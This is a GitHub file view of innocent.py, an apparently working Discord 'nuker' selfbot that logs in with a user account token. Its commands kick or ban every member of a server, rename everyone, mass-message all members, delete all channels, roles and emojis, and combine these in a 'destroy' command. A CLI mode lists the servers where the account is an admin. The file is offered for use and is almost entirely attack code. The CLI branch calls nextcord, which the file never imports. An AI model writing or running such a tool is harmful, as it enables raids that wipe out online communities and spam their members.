forked from Da532/Innocent-bot
-
Notifications
You must be signed in to change notification settings - Fork 2
/
innocent.py
453 lines (368 loc) · 17.4 KB
/
innocent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
token = "" # refer to main branch
prefix = "~"
commandlist = ["kall", "ball", "rall", "mall", "dall", "destroy", "users", "channels"]
commanddetails = ["> (kall) - short for kick all, kicks every member in the server.",
"> (ball) - short for ban all, bans every member in the server.",
"> (rall rename_to) - short for rename all, renames every member in the server to the desired rename_to argument.",
"> (mall message) - short for message all, messages every member in a guild with a message of your choice.",
"> (dall [channels|roles|emojis|all]) - short for delete all, deletes every condition stated.",
"> (destroy) - deletes everything possible, then bans every member in the server as long as you have permission.",
"-> (users) - shows users in guild.", "-> (channels) - shows channels in guild."]
import asyncio
import os
try:
import discord
except:
os.system("python3 -m pip install -U git+https://github.com/Rapptz/discord.py@v1.x")
import discord
from discord.ext import commands, tasks
intents = discord.Intents.all()
client = commands.Bot(command_prefix=prefix, help_command=None, intents=intents, self_bot=True)
# Define the self bot ^
async def login():
await client.run(token, bot=False)
print(
"""
Bot Mode:
Login with a single token and responds to commands on discord.
CLI Mode:
Command Line Interface, send commands over the console instead of through discord.
"""
)
choose = input("Bot or CLI mode?\n")
if choose.lower().find("bot") != -1:
@client.event
async def on_command_error(ctx, error):
pass
@client.check
async def command_invoke_delete(ctx):
try:
await ctx.message.delete()
except discord.Forbidden:
# lol this should never happen
pass
finally:
return True
@client.event
async def on_ready():
print("Ready to be innocent.")
@client.command()
async def kall(ctx):
for member in ctx.guild.members:
if member == client.user:
continue
try:
await member.kick()
except discord.Forbidden:
print(f"{member.name} has FAILED to be kicked from {ctx.guild.name}")
else:
print(f"{member.name} has been kicked from {ctx.guild.name}")
print("Action Completed: kall")
@client.command()
async def ball(ctx):
for member in ctx.guild.members:
if member == client.user:
continue
try:
await member.ban()
except discord.Forbidden:
print(f"{member.name} has FAILED to be banned from {ctx.guild.name}")
else:
print(f"{member.name} has been kicked from {ctx.guild.name}")
print("Action Completed: ball")
@client.command()
async def rall(ctx, *, nick):
for member in ctx.guild.members:
try:
await member.edit(nick=nick)
except discord.Forbidden:
print(f"{member.name} has NOT been renamed to {nick} in {ctx.guild.name}")
else:
print(f"{member.name} has been renamed to {nick} in {ctx.guild.name}")
print("Action Completed: rall")
@client.command()
async def mall(ctx, *, message):
for member in ctx.guild.members:
if member == client.user:
continue
try:
await member.send(message)
except discord.Forbidden:
print(f"{member.name} has NOT recieved the message.")
else:
print(f"{member.name} has recieved the message.")
print("Action Completed: mall")
@client.group(invoke_without_command=True, case_insensitive=True)
async def dall(ctx):
print(f'Choose an option from -> {", ".join([c.name for c in ctx.command.commands])}')
@dall.command()
async def channels(ctx):
for channel in ctx.guild.channels:
try:
await channel.delete()
except discord.Forbidden:
print(f"{channel.name} has NOT been deleted in {ctx.guild.name}")
except discord.HTTPException:
print(f"{channel.name} has NOT been deleted in {ctx.guild.name}")
else:
print(f"{channel.name} has been deleted in {ctx.guild.name}")
print("Action Completed: dall channels")
@dall.command()
async def roles(ctx):
for role in ctx.guild.roles:
if str(role) == '@everyone':
continue
try:
await role.delete()
except discord.Forbidden:
print(f"{role.name} has NOT been deleted in {ctx.guild.name}")
else:
print(f"{role.name} has been deleted in {ctx.guild.name}")
print("Action Completed: dall roles")
@dall.command()
async def emojis(ctx):
for emoji in ctx.guild.emojis:
try:
await emoji.delete()
print(f"{emoji.name} has been deleted in {ctx.guild.name}")
except discord.Forbidden:
print(f"{emoji.name} has NOT been deleted in {ctx.guild.name}")
else:
print(f"{emoji.name} has been deleted in {ctx.guild.name}")
print("Action Completed: dall emojis")
@dall.command()
async def all(ctx):
# LOL
print('Deleting all...')
print('Deleting channels..')
for channel in ctx.guild.channels:
try:
await channel.delete()
except discord.Forbidden:
print(f"{channel.name} has NOT been deleted in {ctx.guild.name}")
except discord.HTTPException:
print(f"{channel.name} has NOT been deleted in {ctx.guild.name}")
else:
print(f"{channel.name} has been deleted in {ctx.guild.name}")
print('Deleting roles..')
for role in ctx.guild.roles:
if str(role) == '@everyone':
continue
try:
await role.delete()
except discord.Forbidden:
print(f"{role.name} has NOT been deleted in {ctx.guild.name}")
else:
print(f"{role.name} has been deleted in {ctx.guild.name}")
print('Deleting emojis..')
for emoji in ctx.guild.emojis:
try:
await emoji.delete()
except discord.Forbidden:
print(f"{emoji.name} has NOT been deleted in {ctx.guild.name}")
else:
print(f"{emoji.name} has been deleted in {ctx.guild.name}")
print("Action Completed: dall all")
@client.command()
async def destroy(ctx):
for member in ctx.guild.members:
if member == client.user:
continue
try:
await member.ban()
except discord.Forbidden:
print(f"{member.name} has FAILED to be banned from {ctx.guild.name}")
else:
print(f"{member.name} has been banned from {ctx.guild.name}")
await all(ctx)
print("Action Completed: destroy")
try:
client.run(token, bot=False)
except discord.LoginFailure:
print('Invalid Token Passed')
elif choose.lower().find("cli") != -1:
@tasks.loop(seconds=5)
async def cmds():
for guild in client.guilds:
print(
f"{guild.name}, {guild.id}, {f'Admin' if guild.me.guild_permissions.administrator is True else f'Not admin.'}")
server = client.get_guild(int(input("Server ID: ")))
if server is not None:
print(
f'\nNot Admin in {server.name}. Limited options available.\n' if server.me.guild_permissions.administrator is not True else ' ')
for command in commanddetails:
print(f"{command}")
cmd = input("Command: \n")
if cmd.lower().split()[0] in commandlist:
if cmd.lower().split()[0] == "kall":
for member in server.members:
if member == client.user:
continue
try:
await member.kick()
except discord.Forbidden:
print(f"{member.name} has FAILED to be kicked from {server.name}")
else:
print(f"{member.name} has been kicked from {server.name}")
if cmd.lower().split()[0] == "ball":
for member in server.members:
if member == client.user:
continue
try:
await member.ban()
except discord.Forbidden:
print(f"{member.name} has FAILED to be banned from {server.name}")
else:
print(f"{member.name} has been kicked from {server.name}")
if cmd.lower().split()[0] == "rall":
nick = cmd.replace("rall ", "")
for member in server.members:
try:
await member.edit(nick=nick)
except discord.Forbidden:
print(f"{member.name} has NOT been renamed to {nick} in {server.name}")
else:
print(f"{member.name} has been renamed to {nick} in {server.name}")
if cmd.lower().split()[0] == "mall":
message = cmd.lower().replace("mall ", "").replace("mall", "") if cmd.lower().replace("mall ",
"").replace(
"mall", "") != "" else input("Message to send: ")
for member in server.members:
if member == client.user:
continue
try:
await member.send(message)
except discord.Forbidden:
print(f"{member.name} has NOT recieved the message.")
else:
print(f"{member.name} has recieved the message.")
if cmd.lower().split()[0] == "dall":
choices = ["channels", "roles", "emojis", "all"]
choice = input("Choose: [channels|roles|emojis|all]: ") if cmd.lower().replace("dall ", "").replace(
"dall", "") == "" else cmd.lower().split()[-1]
if choice not in choices:
print("Please choose a valid option.")
else:
if choice == "channels":
for channel in server.channels:
try:
await channel.delete()
except nextcord.Forbidden:
print(f"{channel.name} has NOT been deleted in {server.name}")
except nextcord.HTTPException:
print(f"{channel.name} has NOT been deleted in {server.name}")
else:
print(f"{channel.name} has been deleted in {server.name}")
elif choice == "roles":
for role in server.roles:
if str(role) == '@everyone':
continue
try:
await role.delete()
except nextcord.Forbidden:
print(f"{role.name} has NOT been deleted in {server.name}")
else:
print(f"{role.name} has been deleted in {server.name}")
elif choice == "emojis":
for emoji in server.emojis:
try:
await emoji.delete()
print(f"{emoji.name} has been deleted in {server.name}")
except nextcord.Forbidden:
print(f"{emoji.name} has NOT been deleted in {server.name}")
else:
print(f"{emoji.name} has been deleted in {server.name}")
elif choice == "all":
print('Deleting all...')
print('Deleting channels..')
for channel in server.channels:
try:
await channel.delete()
except nextcord.Forbidden:
print(f"{channel.name} has NOT been deleted in {server.name}")
except nextcord.HTTPException:
print(f"{channel.name} has NOT been deleted in {server.name}")
else:
print(f"{channel.name} has been deleted in {server.name}")
print('Deleting roles..')
for role in server.roles:
if str(role) == '@everyone':
continue
try:
await role.delete()
except nextcord.Forbidden:
print(f"{role.name} has NOT been deleted in {server.name}")
else:
print(f"{role.name} has been deleted in {server.name}")
print('Deleting emojis..')
for emoji in server.emojis:
try:
await emoji.delete()
except nextcord.Forbidden:
print(f"{emoji.name} has NOT been deleted in {server.name}")
else:
print(f"{emoji.name} has been deleted in {server.name}")
if cmd.lower().split()[0] == "destroy":
for member in server.members:
if member == client.user:
continue
try:
await member.ban()
except discord.Forbidden:
print(f"{member.name} has FAILED to be banned from {server.name}")
else:
print(f"{member.name} has been banned from {server.name}")
print('Deleting all...')
print('Deleting channels..')
for channel in server.channels:
try:
await channel.delete()
except discord.Forbidden:
print(f"{channel.name} has NOT been deleted in {server.name}")
except discord.HTTPException:
print(f"{channel.name} has NOT been deleted in {server.name}")
else:
print(f"{channel.name} has been deleted in {server.name}")
print('Deleting roles..')
for role in server.roles:
if str(role) == '@everyone':
continue
try:
await role.delete()
except discord.Forbidden:
print(f"{role.name} has NOT been deleted in {server.name}")
else:
print(f"{role.name} has been deleted in {server.name}")
print('Deleting emojis..')
for emoji in server.emojis:
try:
await emoji.delete()
except discord.Forbidden:
print(f"{emoji.name} has NOT been deleted in {server.name}")
else:
print(f"{emoji.name} has been deleted in {server.name}")
if cmd.lower().split()[0] == "users":
for user in server.members:
print(f"{user.name}, {user.id}, {user.status}. {user.top_role}")
if cmd.lower().split()[0] == "channels":
for channel in server.channels:
print(f"{channel.name} is a {channel.type}.")
print(f"Action Completed: {cmd.lower().split()[0]}")
await asyncio.sleep(5)
else:
print("Invalid command.")
else:
print("Invalid Server ID.")
@client.event
async def on_ready():
print(f"Logged in as {client.user}")
cmds.start()
try:
client.run(token, bot=False)
except discord.LoginFailure:
print('Invalid Token Passed')
except discord.HTTPException as e:
print(e)
else:
print("Please choose a valid option.")
os.system("python3 innocent.py")